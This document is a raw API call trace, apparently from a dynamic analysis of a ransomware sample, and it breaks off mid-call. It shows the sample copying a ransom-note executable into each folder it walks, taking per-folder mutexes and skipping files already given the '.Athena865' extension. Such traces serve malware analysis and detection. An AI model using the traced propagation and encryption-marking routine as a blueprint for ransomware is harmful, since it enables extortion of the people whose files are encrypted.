[0102.970] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\NetFramework\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\netframework\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.971] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\NetFramework\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\netframework\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.971] GetLastError () returned 0x0 [0102.971] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.971] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.971] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.972] CloseHandle (hObject=0xf4) returned 1 [0102.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.972] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.972] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\NetFramework\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.972] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.972] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.972] lstrcpyW (in: lpString1=0x241e8be, lpString2="BreadcrumbStore" | out: lpString1="BreadcrumbStore") returned="BreadcrumbStore" [0102.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a6d0 [0102.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x96) returned 0x53e260 [0102.972] lstrcatW (in: lpString1="BreadcrumbStore", lpString2="\\" | out: lpString1="BreadcrumbStore\\") returned="BreadcrumbStore\\" [0102.972] lstrcatW (in: lpString1="BreadcrumbStore\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="BreadcrumbStore\\HOW TO BACK YOUR FILES.exe") returned="BreadcrumbStore\\HOW TO BACK YOUR FILES.exe" [0102.972] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\netframework\\breadcrumbstore\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.973] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc47c3e00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.973] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.973] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc47c3e00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0102.973] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.973] ReleaseMutex (hMutex=0xec) returned 1 [0102.973] CloseHandle (hObject=0xec) returned 1 [0102.973] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\Network" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\Network") returned="C:\\Documents and Settings\\All Users\\Microsoft\\Network" [0102.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d750 | out: hHeap=0x4f0000) returned 1 [0102.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a6e8 | out: hHeap=0x4f0000) returned 1 [0102.973] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\Network") returned 53 [0102.973] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\7D403FFCF421DF5CA907F992372C0D33") returned 0xec [0102.973] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.973] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\Network" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\Network") returned="C:\\Documents and Settings\\All Users\\Microsoft\\Network" [0102.973] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.973] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Network\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\network\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.974] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Network\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\network\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.974] GetLastError () returned 0x0 [0102.974] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.974] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.975] CloseHandle (hObject=0xf4) returned 1 [0102.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.975] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.975] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Network\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc47e9f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47e9f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.975] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.975] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.975] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Connections" | out: lpString1="Connections") returned="Connections" [0102.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a6e8 [0102.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x84) returned 0x514ab8 [0102.975] lstrcatW (in: lpString1="Connections", lpString2="\\" | out: lpString1="Connections\\") returned="Connections\\" [0102.975] lstrcatW (in: lpString1="Connections\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Connections\\HOW TO BACK YOUR FILES.exe") returned="Connections\\HOW TO BACK YOUR FILES.exe" [0102.975] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Network\\Connections\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\network\\connections\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.976] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe1f604c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe1f604c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1 [0102.976] lstrcmpiW (lpString1="Downloader", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.976] lstrcmpiW (lpString1="Downloader", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.976] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Downloader" | out: lpString1="Downloader") returned="Downloader" [0102.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a6a0 [0102.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x5145a8 [0102.976] lstrcatW (in: lpString1="Downloader", lpString2="\\" | out: lpString1="Downloader\\") returned="Downloader\\" [0102.976] lstrcatW (in: lpString1="Downloader\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Downloader\\HOW TO BACK YOUR FILES.exe") returned="Downloader\\HOW TO BACK YOUR FILES.exe" [0102.976] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Network\\Downloader\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\network\\downloader\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.977] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc47e9f60, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc47e9f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.977] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.977] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc47e9f60, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc47e9f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0102.977] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.977] ReleaseMutex (hMutex=0xec) returned 1 [0102.977] CloseHandle (hObject=0xec) returned 1 [0102.977] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\OFFICE" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\OFFICE") returned="C:\\Documents and Settings\\All Users\\Microsoft\\OFFICE" [0102.977] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d7c8 | out: hHeap=0x4f0000) returned 1 [0102.977] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a700 | out: hHeap=0x4f0000) returned 1 [0102.977] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\OFFICE") returned 52 [0102.977] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0406BF0B385834DCF26B45A311EF9C69") returned 0xec [0102.977] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.977] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\OFFICE" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\OFFICE") returned="C:\\Documents and Settings\\All Users\\Microsoft\\OFFICE" [0102.977] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.977] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\OFFICE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\office\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.978] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\OFFICE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\office\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.978] GetLastError () returned 0x0 [0102.978] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.978] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.978] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.979] CloseHandle (hObject=0xf4) returned 1 [0102.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.979] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.979] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\OFFICE\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe2090fc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2090fc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.979] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.979] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.980] lstrcpyW (in: lpString1=0x241e8b2, lpString2="AssetLibrary.ico.Athena865" | out: lpString1="AssetLibrary.ico.Athena865") returned="AssetLibrary.ico.Athena865" [0102.980] lstrlenW (lpString="AssetLibrary.ico.Athena865") returned 26 [0102.980] lstrlenW (lpString="Athena865") returned 9 [0102.980] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.980] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabeeea00, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1fac780, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x6580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DocumentRepository.ico.Athena865", cAlternateFileName="DOCUME~1.ATH")) returned 1 [0102.980] lstrcmpiW (lpString1="DocumentRepository.ico.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.980] lstrcmpiW (lpString1="DocumentRepository.ico.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.980] lstrcpyW (in: lpString1=0x241e8b2, lpString2="DocumentRepository.ico.Athena865" | out: lpString1="DocumentRepository.ico.Athena865") returned="DocumentRepository.ico.Athena865" [0102.980] lstrlenW (lpString="DocumentRepository.ico.Athena865") returned 32 [0102.980] lstrlenW (lpString="Athena865") returned 9 [0102.980] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.980] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc47e9f60, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc47e9f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.980] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.980] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfbd800, ftCreationTime.dwHighDateTime=0x1c9facb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1ff8a40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x55630, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MySharePoints.ico.Athena865", cAlternateFileName="MYSHAR~1.ATH")) returned 1 [0102.980] lstrcmpiW (lpString1="MySharePoints.ico.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.980] lstrcmpiW (lpString1="MySharePoints.ico.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.980] lstrcpyW (in: lpString1=0x241e8b2, lpString2="MySharePoints.ico.Athena865" | out: lpString1="MySharePoints.ico.Athena865") returned="MySharePoints.ico.Athena865" [0102.980] lstrlenW (lpString="MySharePoints.ico.Athena865") returned 27 [0102.980] lstrlenW (lpString="Athena865") returned 9 [0102.980] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.980] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc92d1d00, ftCreationTime.dwHighDateTime=0x1c627a2, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe206ae60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x6580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MySite.ico.Athena865", cAlternateFileName="MYSITE~1.ATH")) returned 1 [0102.980] lstrcmpiW (lpString1="MySite.ico.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.980] lstrcmpiW (lpString1="MySite.ico.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.980] lstrcpyW (in: lpString1=0x241e8b2, lpString2="MySite.ico.Athena865" | out: lpString1="MySite.ico.Athena865") returned="MySite.ico.Athena865" [0102.980] lstrlenW (lpString="MySite.ico.Athena865") returned 20 [0102.980] lstrlenW (lpString="Athena865") returned 9 [0102.980] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.980] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2444900, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe2090fc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x6580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SharePointPortalSite.ico.Athena865", cAlternateFileName="SHAREP~1.ATH")) returned 1 [0102.981] lstrcmpiW (lpString1="SharePointPortalSite.ico.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.981] lstrcmpiW (lpString1="SharePointPortalSite.ico.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.981] lstrcpyW (in: lpString1=0x241e8b2, lpString2="SharePointPortalSite.ico.Athena865" | out: lpString1="SharePointPortalSite.ico.Athena865") returned="SharePointPortalSite.ico.Athena865" [0102.981] lstrlenW (lpString="SharePointPortalSite.ico.Athena865") returned 34 [0102.981] lstrlenW (lpString="Athena865") returned 9 [0102.981] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.981] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad743900, ftCreationTime.dwHighDateTime=0x1c62706, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe2090fc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x6580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SharePointTeamSite.ico.Athena865", cAlternateFileName="SHAREP~2.ATH")) returned 1 [0102.981] lstrcmpiW (lpString1="SharePointTeamSite.ico.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.981] lstrcmpiW (lpString1="SharePointTeamSite.ico.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.981] lstrcpyW (in: lpString1=0x241e8b2, lpString2="SharePointTeamSite.ico.Athena865" | out: lpString1="SharePointTeamSite.ico.Athena865") returned="SharePointTeamSite.ico.Athena865" [0102.981] lstrlenW (lpString="SharePointTeamSite.ico.Athena865") returned 32 [0102.981] lstrlenW (lpString="Athena865") returned 9 [0102.981] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.981] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe20b7120, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe20b7120, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="UICAPT~1")) returned 1 [0102.981] lstrcmpiW (lpString1="UICaptions", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.981] lstrcmpiW (lpString1="UICaptions", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.981] lstrcpyW (in: lpString1=0x241e8b2, lpString2="UICaptions" | out: lpString1="UICaptions") returned="UICaptions" [0102.981] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a700 [0102.981] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x519558 [0102.981] lstrcatW (in: lpString1="UICaptions", lpString2="\\" | out: lpString1="UICaptions\\") returned="UICaptions\\" [0102.981] lstrcatW (in: lpString1="UICaptions\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="UICaptions\\HOW TO BACK YOUR FILES.exe") returned="UICaptions\\HOW TO BACK YOUR FILES.exe" [0102.981] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\OFFICE\\UICaptions\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\office\\uicaptions\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.982] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe20b7120, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe20b7120, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="UICAPT~1")) returned 0 [0102.982] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.982] ReleaseMutex (hMutex=0xec) returned 1 [0102.982] CloseHandle (hObject=0xec) returned 1 [0102.982] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\Documents and Settings\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" [0102.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5228e8 | out: hHeap=0x4f0000) returned 1 [0102.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a718 | out: hHeap=0x4f0000) returned 1 [0102.982] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform") returned 78 [0102.982] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E44FC5D764D824722F2BBFE288CBF651") returned 0xec [0102.982] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.982] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\Documents and Settings\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" [0102.982] lstrcatW (in: 